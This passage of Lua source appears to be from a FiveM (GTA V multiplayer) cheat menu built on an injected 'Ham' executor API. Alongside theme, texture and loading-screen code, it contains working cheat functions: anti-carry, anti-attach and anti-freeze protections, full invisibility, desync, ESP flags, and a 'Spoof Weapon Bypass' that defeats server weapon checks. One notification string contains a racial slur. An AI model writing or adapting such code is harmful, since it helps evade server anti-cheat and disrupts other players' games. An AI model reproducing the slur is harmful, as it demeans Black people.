"vanity_logo_community_bernd.png.enc" pereiraEntry.textureUrl = "https://i.imgur.com/eNuU4aK.png" pereiraEntry.colors = { primary = { 102, 102, 108, 255 }, primary_light = { 140, 140, 146, 255 }, primary_dark = { 64, 64, 70, 255 }, outline = { 102, 102, 108, 200 } } pendingMenuEntry17.bernd = pereiraEntry end do local dhlerzfeindEntry = {} dhlerzfeindEntry.name = "dhlerzfeind" dhlerzfeindEntry.textureFile = "vanity_logo_community_salt.png.enc" dhlerzfeindEntry.textureUrl = "https://i.imgur.com/q7TgUAz.png" dhlerzfeindEntry.colors = { primary = { 48, 52, 54, 255 }, primary_light = { 170, 180, 184, 255 }, primary_dark = { 8, 10, 12, 255 }, outline = { 48, 52, 54, 200 } } pendingMenuEntry17.salt = dhlerzfeindEntry end do local mashaEntry = {} mashaEntry.name = "Masha" mashaEntry.textureFile = "vanity_logo_community_masha.png.enc" mashaEntry.textureUrl = "https://i.imgur.com/3Fi6oFP.png" mashaEntry.colors = { primary = { 214, 28, 126, 255 }, primary_light = { 250, 92, 180, 255 }, primary_dark = { 72, 8, 42, 255 }, outline = { 214, 28, 126, 200 } } pendingMenuEntry17.masha = mashaEntry end do local ghostEntry = {} ghostEntry.name = "Ghost" ghostEntry.textureFile = "vanity_logo_community_ghost.png.enc" ghostEntry.textureUrl = "https://i.imgur.com/StFPiZA.png" ghostEntry.colors = { primary = { 110, 110, 110, 255 }, primary_light = { 150, 150, 150, 255 }, primary_dark = { 70, 70, 70, 255 }, outline = { 110, 110, 110, 200 } } pendingMenuEntry17.ghost = ghostEntry end do local animeEntry = {} animeEntry.name = "Anime" animeEntry.textureFile = "vanity_logo_community_anime.png.enc" animeEntry.textureUrl = "https://i.imgur.com/wmRGHOE.png" animeEntry.colors = { primary = { 120, 120, 119, 255 }, primary_light = { 160, 160, 159, 255 }, primary_dark = { 80, 80, 79, 255 }, outline = { 120, 120, 119, 200 } } pendingMenuEntry17.anime = animeEntry pendingMenuEntry18 = "black" end pendingMenuEntry19 = {} pendingMenuEntry19.name = "Black" pendingMenuEntry19.textureFile = "vanity_logo_community_black.png.enc" pendingMenuEntry19.textureUrl = "https://i.imgur.com/iBUoREv.png" pendingMenuEntry20 = "colors" pendingMenuEntry19[pendingMenuEntry20] = { primary = { 55, 54, 54, 255 }, primary_light = { 95, 94, 94, 255 }, primary_dark = { 15, 14, 14, 255 }, outline = { 55, 54, 54, 200 } } pendingMenuEntry17[pendingMenuEntry18] = pendingMenuEntry19 pendingTextureLoadingValue[pendingMenuEntry16] = pendingMenuEntry17 assembledMenuTextureLoading.definitions = pendingTextureLoadingValue function assembledMenuTextureLoading.ensureVanityBrandLogoLoading() if menu.textures and menu.textures.vanityBrandLogo then return end if not menu.textureLoading._vanityBrandLogoReqId then menu.textureLoading._vanityBrandLogoReqId = Ham.addCustomTextureAsync("vanity_brand_logo.png", "https://i.imgur.com/1hhpLnE.png") end if menu.textureLoading._vanityBrandLogoReqId then local result = Ham.getAsyncTextureResult(menu.textureLoading._vanityBrandLogoReqId) if result.ready and result.success then menu.textures.vanityBrandLogo = result.texture menu.textureLoading._vanityBrandLogoReqId = nil end end end function assembledMenuTextureLoading.ensureNotifyLogoLoading() if menu.textures and menu.textures.notifyLogo then return end if not menu.textureLoading._notifyLogoReqId then menu.textureLoading._notifyLogoReqId = Ham.addCustomTextureAsync("notify_logo.png", "https://ham.cx/menu/images/notify_logo.png") end if menu.textureLoading._notifyLogoReqId then local result = Ham.getAsyncTextureResult(menu.textureLoading._notifyLogoReqId) if result.ready and result.success then menu.textures.notifyLogo = result.texture menu.textureLoading._notifyLogoReqId = nil end end end function assembledMenuTextureLoading.ensureSeparatorTextureLoading() if menu.textures and menu.textures.separator then return end if not menu.textureLoading._separatorReqId then menu.textureLoading._separatorReqId = Ham.addCustomTextureAsync("separator.png", "https://i.imgur.com/nelXSE0.png") end if menu.textureLoading._separatorReqId then local result = Ham.getAsyncTextureResult(menu.textureLoading._separatorReqId) if result.ready and result.success then menu.textures.separator = result.texture menu.textureLoading._separatorReqId = nil end end end function assembledMenuTextureLoading.ensureBgTextureLoading() if menu.textures and menu.textures.bgMain then return end if not menu.textureLoading._bgMainReqId then menu.textureLoading._bgMainReqId = Ham.addCustomTextureAsync("vanity_bg_main_trP4DJa.png", "https://i.imgur.com/trP4DJa.png") end if menu.textureLoading._bgMainReqId then local result = Ham.getAsyncTextureResult(menu.textureLoading._bgMainReqId) if result.ready and result.success then menu.textures.bgMain = result.texture menu.textureLoading._bgMainReqId = nil end end end function assembledMenuTextureLoading.start() menu.textureLoading.requests = {} menu.textureLoading.completed = 0 menu.textureLoading.total = 0 menu.textureLoading.failed = {} menu.textureLoading.allLoaded = false local requestCount = 0 for colorGroup, definitions in pairs(menu.textureLoading.definitions) do for themeKey, definition in pairs(definitions) do if definition.textureFile and definition.textureUrl then requestCount = requestCount + 1 local requestId = Ham.addCustomTextureAsync(definition.textureFile, definition.textureUrl) table.insert(menu.textureLoading.requests, { requestId = requestId, name = definition.name, colorGroup = colorGroup, themeKey = themeKey }) end end end menu.textureLoading.total = requestCount menu.functions.preloadWeaponPreviewImages() menu.functions.preloadVehiclePreviewImages() menu.textureLoading.ensureNotifyLogoLoading() menu.textureLoading.ensureSeparatorTextureLoading() menu.textureLoading.ensureBgTextureLoading() end function assembledMenuTextureLoading.poll() local pendingRequests = {} for _, request in ipairs(menu.textureLoading.requests) do local keepPending = true if request.requestId then local result = Ham.getAsyncTextureResult(request.requestId) if result.ready then keepPending = false if result.success then if request.weaponPreviewHash then menu.vars.weaponPreviewImages[request.weaponPreviewHash].texture = result.texture else menu.themes[request.colorGroup][request.themeKey].texture = result.texture end menu.textureLoading.completed = menu.textureLoading.completed + 1 if not request.weaponPreviewHash and menu.vars.currentColorTheme == request.colorGroup and menu.vars.currentTheme == request.themeKey then menu.textures.banner = result.texture end else table.insert( menu.textureLoading.failed, request.name .. ": " .. (result.error or "unknown error") ) menu.textureLoading.completed = menu.textureLoading.completed + 1 end if request.weaponPreviewHash then menu.vars.weaponPreviewImages[request.weaponPreviewHash].request = nil end if request.pendingKey and menu.textureLoading._reloadPending then menu.textureLoading._reloadPending[request.pendingKey] = nil end end end if keepPending then table.insert(pendingRequests, request) end end menu.textureLoading.requests = pendingRequests local vehiclePreviewsPending = menu.functions.pollVehiclePreviewImages() if #pendingRequests == 0 and not vehiclePreviewsPending then menu.textureLoading.allLoaded = true end menu.textureLoading.ensureNotifyLogoLoading() menu.textureLoading.ensureSeparatorTextureLoading() menu.textureLoading.ensureBgTextureLoading() end function assembledMenuTextureLoading.requestThemeBannerTexture(colorGroup, themeKey) local definition = menu.textureLoading.definitions[colorGroup] if definition then definition = definition[themeKey] end if not definition or not definition.textureFile or not definition.textureUrl then return end local theme = menu.themes[colorGroup] if theme then theme = theme[themeKey] end if theme and theme.texture then if menu.vars.currentColorTheme == colorGroup and menu.vars.currentTheme == themeKey then menu.textures.banner = theme.texture end return end menu.textureLoading._reloadPending = menu.textureLoading._reloadPending or {} local pendingKey = colorGroup .. ":" .. themeKey if menu.textureLoading._reloadPending[pendingKey] then return end menu.textureLoading._reloadPending[pendingKey] = true local requestId = Ham.addCustomTextureAsync(definition.textureFile, definition.textureUrl) table.insert(menu.textureLoading.requests, { requestId = requestId, name = definition.name, colorGroup = colorGroup, themeKey = themeKey, pendingKey = pendingKey }) menu.textureLoading.allLoaded = false end function assembledMenuTextureLoading.getStartupThemeKey() return "blue5" end function assembledMenuTextureLoading.getDefaultLoadingTheme() local colorGroup = "blue" local themeKey = menu.textureLoading.getStartupThemeKey() local username = string.lower(tostring(Ham.getName() or "")) if username == "brascowhite" then colorGroup = "community" themeKey = "brascowhite" end local definitions = menu.textureLoading and menu.textureLoading.definitions or {} local theme = definitions[colorGroup] if theme then theme = theme[themeKey] end return theme and theme.colors or nil end function assembledMenuTextureLoading.getDefaultLoadingBarFillColor() if menu.drawing and menu.drawing.colors and menu.drawing.colors.primary then return menu.drawing.colors.primary end local colors = menu.textureLoading.getDefaultLoadingTheme() if colors and colors.primary then return colors.primary end return { 80, 80, 80, 255 } end function assembledMenuTextureLoading.drawLoadingToast(progress, message, fillColor) local screenWidth, screenHeight = Ham.getResolution() local scale = menu.vars.scale or 1 progress = math.max(0, math.min(1, progress or 0)) message = tostring(message or "Loading...") local progressText = string.format("%.0f%%", progress * 100) local titleSize = roundNearest(16 * scale) local progressSize = roundNearest(13 * scale) local titleFont = menu.fonts and menu.fonts.title local progressFont = menu.fonts and menu.fonts.main and menu.fonts.main.font or titleFont local barHeight = math.max(6, roundNearest(7 * scale)) local barWidth = roundNearest(240 * scale) local barX = roundNearest((screenWidth - barWidth) / 2) local titleY = roundNearest((screenHeight - roundNearest(64 * scale)) / 2) local barY = titleY + titleSize + roundNearest(12 * scale) local centerX = barX + roundNearest(barWidth / 2) if titleFont then Ham.setFont(titleFont) end Ham.drawText(message, { centerX, titleY }, { 255, 255, 255, 255 }, titleSize, true, true, { 0, 0, 0, 140 }) Ham.drawText(message, { centerX, titleY }, { 255, 255, 255, 255 }, titleSize, true, false, {}) if titleFont then Ham.resetFont() end local cornerRadius = math.max(4, roundNearest(barHeight / 2)) fillColor = fillColor or (menu.drawing and menu.drawing.colors and (menu.drawing.colors.scroll_thumb or menu.drawing.colors.primary)) or { 106, 0, 255, 255 } local highlightColor = menu.drawing and menu.drawing.colors and menu.drawing.colors.primary_light or fillColor Ham.drawRectFilled({ barX, barY, barWidth, barHeight }, { 0, 0, 0, 255 }, cornerRadius, 12) local fillWidth = math.max(0, math.min(barWidth, roundNearest(barWidth * progress))) if 0 < progress and 0 < fillWidth then if barHeight > fillWidth then fillWidth = math.min(barWidth, barHeight) end local glowLayers = { { expand = roundNearest(4 * scale), alpha = 22 }, { expand = roundNearest(3 * scale), alpha = 36 }, { expand = roundNearest(2 * scale), alpha = 52 }, { expand = roundNearest(1 * scale), alpha = 70 } } for _, layer in ipairs(glowLayers) do local alpha = matchSelection and math.floor(layer.alpha * 0.25) or layer.alpha Ham.drawRectFilled( { barX - layer.expand, barY - layer.expand, fillWidth + layer.expand * 2, barHeight + layer.expand * 2 }, { fillColor[1], fillColor[2], fillColor[3], alpha }, cornerRadius + layer.expand, 10 ) end if matchSelection then local darkColor = menu.drawing.colors.primary_dark or fillColor Ham.drawRectFilled({ barX, barY, fillWidth, barHeight }, { 0, 0, 0, 255 }, cornerRadius, 10) Ham.drawRectGradient( { barX, barY, fillWidth, barHeight }, { fillColor[1], fillColor[2], fillColor[3], 200 }, { darkColor[1], darkColor[2], darkColor[3], 120 }, true ) else Ham.drawRectFilled( { barX, barY, fillWidth, barHeight }, { fillColor[1], fillColor[2], fillColor[3], 255 }, cornerRadius, 10 ) end Ham.drawRectFilled( { barX, barY, fillWidth, math.max(1, roundNearest(barHeight * 0.28)) }, { highlightColor[1], highlightColor[2], highlightColor[3], 70 }, cornerRadius, 8 ) end if progressFont then Ham.setFont(progressFont) end local progressY = barY + barHeight + roundNearest(8 * scale) Ham.drawText( progressText, { centerX, progressY }, { 255, 255, 255, 255 }, progressSize, true, true, { 0, 0, 0, 140 } ) Ham.drawText(progressText, { centerX, progressY }, { 255, 255, 255, 255 }, progressSize, true, false, {}) if progressFont then Ham.resetFont() end end function assembledMenuTextureLoading.drawLoadingScreen() local completed = menu.textureLoading.completed local total = menu.textureLoading.total local progress = 0 < total and completed / total or 0 local message = string.format("Loading textures - %d / %d", completed, total) if menu.textureLoading.failed and 0 < #menu.textureLoading.failed then message = string.format("Loading textures - %d failed", #menu.textureLoading.failed) end menu.textureLoading.drawLoadingToast(progress, message) end function assembledMenuTextureLoading.waitForAll(loadingState, progressStart, progressEnd) local capturedMenu = menu local function shouldStop() if menu ~= capturedMenu or _G.runmenu == false then return true end if loadingState ~= nil and capturedMenu.vars.initLoading ~= loadingState then return true end return false end if shouldStop() then return false end menu.textureLoading.start() local reportProgress = loadingState ~= nil and progressStart ~= nil and progressEnd ~= nil while not menu.textureLoading.allLoaded do Citizen.Wait(0) if shouldStop() then return false end menu.textureLoading.poll() if reportProgress then local total = menu.textureLoading.total local completed = menu.textureLoading.completed local progress = 0 < total and completed / total or 0 loadingState.progress = progressStart + (progressEnd - progressStart) * progress local failedCount = #menu.textureLoading.failed local suffix = 0 < failedCount and string.format(" (%d unavailable)", failedCount) or "" loadingState.statusText = "Download Images" .. suffix else menu.textureLoading.drawLoadingScreen() end end if reportProgress then loadingState.progress = progressEnd end return true end menuTargetForTextureLoading.textureLoading = assembledMenuTextureLoading end menuTarget = menu configSystemTarget = {} menuTarget.themes = configSystemTarget for colorGroup, definitions in pairs(menu.textureLoading.definitions) do menu.themes[colorGroup] = {} for themeKey, definition in pairs(definitions) do menu.themes[colorGroup][themeKey] = { name = definition.name, texture = nil, colors = definition.colors } end end do local menuTargetForFunctions = menu local assembledMenuFunctions = {} local pendingDirectFunction, pendingFunctionValue function assembledMenuFunctions.toggleAntiTeleport(toggleOptions) Ham.antiTeleport(toggleOptions.toggleState) menu.utils.notifyToggle("Anti Teleport", toggleOptions.toggleState) end function assembledMenuFunctions.toggleAntiAttack(toggleOptions) if toggleOptions.toggleState then SetCanAttackFriendly(PlayerId(), false) NetworkSetFriendlyFireOption(false) else SetCanAttackFriendly(PlayerId(), true) NetworkSetFriendlyFireOption(true) end menu.utils.notifyToggle("Anti Player Damage", toggleOptions.toggleState) end function assembledMenuFunctions.toggleAntiBlockControl(toggleOptions) Ham.antiBlockControl(toggleOptions.toggleState) menu.utils.notifyToggle("Anti Block Control", toggleOptions.toggleState) end function assembledMenuFunctions.toggleNoKill(toggleOptions) if toggleOptions.toggleState then SetCanAttackFriendly(PlayerId(), false) NetworkSetFriendlyFireOption(false) else SetCanAttackFriendly(PlayerId(), true) NetworkSetFriendlyFireOption(true) end menu.utils.notifyToggle("No Kill", toggleOptions.toggleState) end function assembledMenuFunctions.toggleAntiCarry(toggleOptions) if toggleOptions.toggleState then menu.utils.safeExecute( " if _G.pmAntiCarryThreadRunning then return end\n _G.pmAntiCarryActive = true\n _G.pmAntiCarryThreadRunning = true\n\n Citizen.CreateThread(function()\n local lastPoolScan = 0\n _G.pmAntiCarryLastSafeCoords = nil\n _G.pmAntiCarryHandledCurrentAttach = false\n while _G.pmAntiCarryActive do\n local playerPed = PlayerPedId()\n if playerPed and playerPed ~= 0 and DoesEntityExist(playerPed) then\n SetBlockingOfNonTemporaryEvents(playerPed, true)\n SetPedCanRagdoll(playerPed, false)\n\n local attachDetected = false\n local currentCoords = GetEntityCoords(playerPed)\n local currentVehicle = GetVehiclePedIsIn(playerPed, false)\n local inVehicle = currentVehicle and currentVehicle ~= 0\n local vehicleSeatAttach = false\n\n if IsEntityAttached(playerPed) then\n local attachedParent = GetEntityAttachedTo(playerPed)\n if attachedParent and attachedParent ~= 0 and DoesEntityExist(attachedParent) and IsEntityAVehicle(attachedParent) then\n if inVehicle and attachedParent == currentVehicle then\n vehicleSeatAttach = true\n else\n local enteringVehicle = GetVehiclePedIsTryingToEnter(playerPed)\n if enteringVehicle and enteringVehicle ~= 0 and DoesEntityExist(enteringVehicle) and attachedParent == enteringVehicle then\n vehicleSeatAttach = true\n end\n end\n end\n end\n\n if not IsEntityAttached(playerPed) or vehicleSeatAttach then\n _G.pmAntiCarryLastSafeCoords = currentCoords\n end\n\n -- Sofort loslassen wenn mein Ped an was/wer attached ist\n if IsEntityAttached(playerPed) and not vehicleSeatAttach then\n attachDetected = true\n local parent = GetEntityAttachedTo(playerPed)\n if parent and DoesEntityExist(parent) and NetworkGetEntityIsNetworked(parent) then\n NetworkRequestControlOfEntity(parent)\n end\n if NetworkGetEntityIsNetworked(playerPed) then\n NetworkRequestControlOfEntity(playerPed)\n end\n DetachEntity(playerPed, true, true)\n DetachEntity(playerPed, true, true)\n end\n\n -- Umgekehrt: Ich attached an andere Peds? (IsEntityAttachedToEntity(me, andere))\n local peds = GetGamePool(\"CPed\") or {}\n for i = 1, #peds do\n local ped = peds[i]\n if ped and ped ~= playerPed and DoesEntityExist(ped) then\n if IsEntityAttachedToEntity(playerPed, ped) then\n attachDetected = true\n if NetworkGetEntityIsNetworked(ped) then\n NetworkRequestControlOfEntity(ped)\n end\n DetachEntity(playerPed, true, true)\n end\n if IsEntityAttachedToEntity(ped, playerPed) then\n attachDetected = true\n DetachEntity(ped, true, true)\n end\n end\n end\n local now = GetGameTimer()\n if (now - lastPoolScan) >= 100 then\n lastPoolScan = now\n local vehicles = GetGamePool(\"CVehicle\") or {}\n for i = 1, #vehicles do\n local v = vehicles[i]\n if v and DoesEntityExist(v) and IsEntityAttachedToEntity(v, playerPed) then\n attachDetected = true\n DetachEntity(v, true, true)\n end\n end\n -- Keine Objects detachen \226\134\146 Waffen/Props am Ped bleiben dran\n end\n\n -- Only reset once per attach attempt.\n if attachDetected then\n if not _G.pmAntiCarryHandledCurrentAttach then\n _G.pmAntiCarryHandledCurrentAttach = true\n if not inVehicle then\n ClearPedTasksImmediately(playerPed)\n end\n if _G.pmAntiCarryLastSafeCoords and not inVehicle then\n local newCoords = GetEntityCoords(playerPed)\n if #(newCoords - _G.pmAntiCarryLastSafeCoords) > 0.75 then\n SetEntityCoordsNoOffset(playerPed, _G.pmAntiCarryLastSafeCoords.x, _G.pmAntiCarryLastSafeCoords.y, _G.pmAntiCarryLastSafeCoords.z, false, false, false)\n end\n end\n end\n else\n _G.pmAntiCarryHandledCurrentAttach = false\n end\n end\n Citizen.Wait(0)\n end\n\n local p = PlayerPedId()\n if p and p ~= 0 and DoesEntityExist(p) then\n SetPedCanRagdoll(p, true)\n end\n _G.pmAntiCarryHandledCurrentAttach = false\n _G.pmAntiCarryLastSafeCoords = nil\n _G.pmAntiCarryThreadRunning = false\n end)\n " ) else menu.utils.safeExecute([[ _G.pmAntiCarryActive = false _G.pmAntiCarryHandledCurrentAttach = false _G.pmAntiCarryLastSafeCoords = nil local p = PlayerPedId() if p and p ~= 0 and DoesEntityExist(p) then SetBlockingOfNonTemporaryEvents(p, false) SetPedCanRagdoll(p, true) end ]]) end menu.utils.notifyToggle("Anti Carry", toggleOptions.toggleState) end function assembledMenuFunctions.toggleAntiAttach(toggleOptions) if toggleOptions.toggleState then menu.utils.safeExecute([[ if _G.pmAntiAttachThreadRunning then return end _G.pmAntiAttachActive = true _G.pmAntiAttachThreadRunning = true Citizen.CreateThread(function() local lastPoolScan = 0 while _G.pmAntiAttachActive do local playerPed = PlayerPedId() if playerPed and playerPed ~= 0 and DoesEntityExist(playerPed) then if IsEntityAttached(playerPed) then local currentVehicle = GetVehiclePedIsIn(playerPed, false) local attachedTo = GetEntityAttachedTo(playerPed) local allowVehicleAttach = false if attachedTo and attachedTo ~= 0 and DoesEntityExist(attachedTo) and IsEntityAVehicle(attachedTo) then if currentVehicle ~= 0 and attachedTo == currentVehicle then allowVehicleAttach = true else local enteringVehicle = GetVehiclePedIsTryingToEnter(playerPed) if enteringVehicle and enteringVehicle ~= 0 and DoesEntityExist(enteringVehicle) and attachedTo == enteringVehicle then allowVehicleAttach = true end end end if not allowVehicleAttach and (currentVehicle == 0 or attachedTo ~= currentVehicle) then DetachEntity(playerPed, true, true) if currentVehicle == 0 then ClearPedTasksImmediately(playerPed) end end end local now = GetGameTimer() if (now - lastPoolScan) >= 200 then lastPoolScan = now local currentWeaponObject = 0 if GetCurrentPedWeaponEntityIndex then local okWeaponEntity, weaponEntity = pcall(GetCurrentPedWeaponEntityIndex, playerPed) if okWeaponEntity and weaponEntity and weaponEntity ~= 0 then currentWeaponObject = weaponEntity end end local currentVeh = GetVehiclePedIsIn(playerPed, false) local vehicles = GetGamePool("CVehicle") or {} for i = 1, #vehicles do local vehicle = vehicles[i] if vehicle and vehicle ~= currentVeh and DoesEntityExist(vehicle) and IsEntityAttachedToEntity(vehicle, playerPed) then DetachEntity(vehicle, true, true) end end local objects = GetGamePool("CObject") or {} for i = 1, #objects do local object = objects[i] if object and object ~= currentWeaponObject and DoesEntityExist(object) and IsEntityAttachedToEntity(object, playerPed) then DetachEntity(object, true, true) end end local peds = GetGamePool("CPed") or {} for i = 1, #peds do local ped = peds[i] if ped and ped ~= playerPed and DoesEntityExist(ped) and IsEntityAttachedToEntity(ped, playerPed) then DetachEntity(ped, true, true) end end end end Citizen.Wait(0) end _G.pmAntiAttachThreadRunning = false end) ]]) else menu.utils.safeExecute([[ _G.pmAntiAttachActive = false ]]) end menu.utils.notifyToggle("Anti Attach", toggleOptions.toggleState) end function assembledMenuFunctions.toggleAntiFreeze(toggleOptions) if toggleOptions.toggleState then menu.utils.safeExecute([[ if _G.pmAntiFreezeThreadRunning then return end _G.pmAntiFreezeActive = true _G.pmAntiFreezeThreadRunning = true Citizen.CreateThread(function() while _G.pmAntiFreezeActive do local playerPed = PlayerPedId() if playerPed and playerPed ~= 0 and DoesEntityExist(playerPed) then -- Do not interfere with Full Invisible, which intentionally freezes the real ped. if not _G.pmFullInvisibleActive then FreezeEntityPosition(playerPed, false) end end Citizen.Wait(0) end _G.pmAntiFreezeThreadRunning = false end) ]]) else menu.utils.safeExecute([[ _G.pmAntiFreezeActive = false ]]) end menu.utils.notifyToggle("Anti Freeze", toggleOptions.toggleState) end function assembledMenuFunctions.toggleAntiVdm(toggleOptions) if toggleOptions.toggleState then menu.utils.safeExecute([[ if _G.pmAntiVdmThreadRunning then return end _G.pmAntiVdmActive = true _G.pmAntiVdmThreadRunning = true Citizen.CreateThread(function() local scanRadius = 35.0 while _G.pmAntiVdmActive do local playerPed = PlayerPedId() if playerPed and playerPed ~= 0 and DoesEntityExist(playerPed) then local pedCoords = GetEntityCoords(playerPed) local vehicles = GetGamePool("CVehicle") or {} for i = 1, #vehicles do local veh = vehicles[i] if veh and DoesEntityExist(veh) then local vehCoords = GetEntityCoords(veh) if #(vehCoords - pedCoords) <= scanRadius then -- thisFrameOnly=true, so we re-apply each frame while enabled. SetEntityNoCollisionEntity(playerPed, veh, true) SetEntityNoCollisionEntity(veh, playerPed, true) end end end end Citizen.Wait(0) end _G.pmAntiVdmThreadRunning = false end) ]]) else menu.utils.safeExecute([[ _G.pmAntiVdmActive = false ]]) end menu.utils.notifyToggle("Anti VDM", toggleOptions.toggleState) end function assembledMenuFunctions.toggleSpoofWeaponBypass(toggleOptions) if toggleOptions.toggleState then menu.vars.bools.spoofWeaponBypass = true if not menu.utils.notify then return end menu.utils.notify("Successfully loaded...", "success", 5000) Citizen.SetTimeout(1000, function() if menu.utils.notify then menu.utils.notify("Viel Spa\195\159 Nigga :)", "black", 3000) end end) return end menu.vars.bools.spoofWeaponBypass = false menu.utils.notifyToggle("Spoof Weapon Bypass", false) end function assembledMenuFunctions.fixWeaponCheck() menu.vars.bools.weaponBypassRecommended = false if menu.functions.forceEndRecommendedBypassDamageVehicleSpoof then menu.functions.forceEndRecommendedBypassDamageVehicleSpoof() end if menu.functions.clearRecommendedWeaponBypass then menu.functions.clearRecommendedWeaponBypass() end if Ham and Ham.setWeaponBypass then Ham.setWeaponBypass(false) end menu.utils.notify("Weapon check fixed", "success", 3000) end function assembledMenuFunctions.toggleAntiWeaponBlock(toggleOptions) local enabled if toggleOptions and toggleOptions.toggleState ~= nil and toggleOptions.toggleState then enabled = toggleOptions.toggleState else enabled = menu.vars.bools.antiWeaponBlock == true end menu.vars.bools.antiWeaponBlock = enabled if enabled then menu.utils.safeExecute([[ if _G.pmAntiWeaponBlockThreadRunning then return end _G.pmAntiWeaponBlockActive = true _G.pmAntiWeaponBlockThreadRunning = true Citizen.CreateThread(function() while _G.pmAntiWeaponBlockActive do local playerPed = PlayerPedId() if playerPed and playerPed ~= 0 and DoesEntityExist(playerPed) then Citizen.InvokeNative(0xEFF296097FF1E509, playerPed, true) end Citizen.Wait(100) end _G.pmAntiWeaponBlockThreadRunning = false end) ]]) else menu.utils.safeExecute([[ _G.pmAntiWeaponBlockActive = false ]]) end menu.utils.notifyToggle("Anti Weapon Block", enabled) end function assembledMenuFunctions.toggleAntiKickDriver(toggleOptions) if toggleOptions.toggleState then menu.utils.safeExecute([[ if _G.pmAntiKickDriverThreadRunning then return end _G.pmAntiKickDriverActive = true _G.pmAntiKickDriverThreadRunning = true Citizen.CreateThread(function() while _G.pmAntiKickDriverActive do local playerPed = PlayerPedId() if playerPed and playerPed ~= 0 and DoesEntityExist(playerPed) then SetPedCanBeDraggedOut(playerPed, false) end Citizen.Wait(0) end local playerPed = PlayerPedId() if playerPed and playerPed ~= 0 and DoesEntityExist(playerPed) then SetPedCanBeDraggedOut(playerPed, true) end _G.pmAntiKickDriverThreadRunning = false end) ]]) else menu.utils.safeExecute([[ _G.pmAntiKickDriverActive = false local p = PlayerPedId() if p and p ~= 0 and DoesEntityExist(p) then SetPedCanBeDraggedOut(p, true) end ]]) end menu.utils.notifyToggle("Anti Kick Driver", toggleOptions.toggleState) end function assembledMenuFunctions.toggleSoloSession(toggleOptions) if toggleOptions.toggleState then NetworkStartSoloTutorialSession() else NetworkEndTutorialSession() end if toggleOptions.toggleState then menu.utils.notify("Solo session started", "info", 3000) else menu.utils.notify("Solo session ended", "info", 3000) end end function assembledMenuFunctions.showFullInvisibleNotify() local text = "Full Invisibility Enabled" if not menu.vars or not menu.vars.notifications or not menu.utils or not menu.utils.notify then return end local currentTime = GetGameTimer() for index = 1, #menu.vars.notifications, 1 do local notification = menu.vars.notifications[index] if notification and notification._pmFullInvisible then notification.text = text notification.type = "success" notification.duration = 2147483647 notification.startTime = currentTime notification.title = text notification.subtitle = nil notification.subtitleSegments = nil notification._expired = false return end end menu.utils.notify(text, "success", 2147483647, nil, { title = text, keepTitle = true, noEnterDelay = true }) local notification = menu.vars.notifications[1] if notification then notification._pmFullInvisible = true notification._expired = false end end function assembledMenuFunctions.hideFullInvisibleNotify() if not menu.vars or not menu.vars.notifications then return end for index = 1, #menu.vars.notifications, 1 do local notification = menu.vars.notifications[index] if notification and notification._pmFullInvisible then notification._expired = true end end end function assembledMenuFunctions.showDesyncNotify() local text = "Desync Enabled" if not menu.vars or not menu.vars.notifications or not menu.utils or not menu.utils.notify then return end local currentTime = GetGameTimer() for index = 1, #menu.vars.notifications, 1 do local notification = menu.vars.notifications[index] if notification and notification._pmDesync then notification.text = text notification.type = "success" notification.duration = 2147483647 notification.startTime = currentTime notification.title = text notification.subtitle = nil notification.subtitleSegments = nil notification._expired = false return end end menu.utils.notify(text, "success", 2147483647, nil, { title = text, keepTitle = true, noEnterDelay = true }) local notification = menu.vars.notifications[1] if notification then notification._pmDesync = true notification._expired = false end end function assembledMenuFunctions.hideDesyncNotify() if not menu.vars or not menu.vars.notifications then return end for index = 1, #menu.vars.notifications, 1 do local notification = menu.vars.notifications[index] if notification and notification._pmDesync then notification._expired = true end end end function assembledMenuFunctions.toggleFullInvisible(toggleOptions) local enabled = toggleOptions and toggleOptions.toggleState == true local allowWithoutNoclip = toggleOptions and toggleOptions.allowWithoutNoclip == true local groundMode = toggleOptions and toggleOptions.groundMode == true local keepArmed = toggleOptions and toggleOptions.keepArmed == true local noclipEnabled = menu.vars and menu.vars.bools and menu.vars.bools.noclip == true local suppressNotify = toggleOptions and toggleOptions.suppressNotify == true local parkLocations = { vector3(83.153602600098, -11.060020446777, -5.586510181427), vector3(-1042.541, -2745.812, 13.953), vector3(2954.196, 2783.41, 39.861), vector3(-1632.78, -1080.56, 12.156), vector3(1661.68, 4773.4, 41.008), vector3(-325.612, -1522.87, 27.432), vector3(2476.13, 4955.81, 44.987), vector3(-1119.89, 4920.78, 218.635), vector3(728.96, -1073.64, 22.168), vector3(-2173.39, 4288.76, 48.673), vector3(1394.21, 3613.42, 34.98), vector3(-556.16, -614.86, 34.68), vector3(2557.91, 382.12, 108.623), vector3(-1820.41, 792.81, 138.09), vector3(126.975, -1928.46, 20.74), vector3(-74.94, 6253.73, 31.089), vector3(2683.12, 1469.55, 24.518), vector3(-1205.62, -326.82, 37.787), vector3(985.24, -138.66, 73.662), vector3(-3152.71, 1110.84, 20.66) } local randomParkCoords = parkLocations[math.random(#parkLocations)] local suppliedParkCoords = toggleOptions and toggleOptions.parkCoords local parkX, parkY, parkZ local coordType = type(suppliedParkCoords) if (coordType == "vector3" or coordType == "table") and tonumber(suppliedParkCoords.x) then parkX = tonumber(suppliedParkCoords.x) parkY = tonumber(suppliedParkCoords.y) or 0.0 parkZ = tonumber(suppliedParkCoords.z) or 0.0 else parkX = randomParkCoords.x parkY = randomParkCoords.y parkZ = randomParkCoords.z end local function showNotify() if menu.functions and menu.functions.showFullInvisibleNotify then menu.functions.showFullInvisibleNotify() end end local function hideNotify() if menu.functions and menu.functions.hideFullInvisibleNotify then menu.functions.hideFullInvisibleNotify() end end if enabled then if not noclipEnabled and not allowWithoutNoclip then if menu.vars and menu.vars.bools then menu.vars.bools.fullInvisible = true menu.vars.bools.fullInvisibleWalk = false end return end if menu.vars and menu.vars.bools then _G.pmFullInvisiblePrevSelfEsp = menu.vars.bools.selfEsp == true menu.vars.bools.selfEsp = false local espType = menu.vars.selectors and menu.vars.selectors.playerEspType or 1 if espType == 2 then _G.pmFullInvisiblePrevOtherEspSelf = menu.vars.bools.otherEspSelf == true menu.vars.bools.otherEspSelf = false _G.pmFullInvisibleDidEnableSelfEsp = false end if not groundMode then menu.vars.bools.fullInvisible = true menu.vars.bools.fullInvisibleWalk = false else menu.vars.bools.fullInvisible = false menu.vars.bools.fullInvisibleWalk = true end end if not suppressNotify then showNotify() end if menu.functions and menu.functions.disableDesyncNameIfActive then menu.functions.disableDesyncNameIfActive() end menu.vars.pmFullInvisibleActive = true menu.vars.espForceRefresh = true if menu.functions and menu.functions.startNoclipVehicleSpoof then menu.functions.startNoclipVehicleSpoof() end menu.utils.safeExecute([[ _G.pmFullInvisibleActive = false 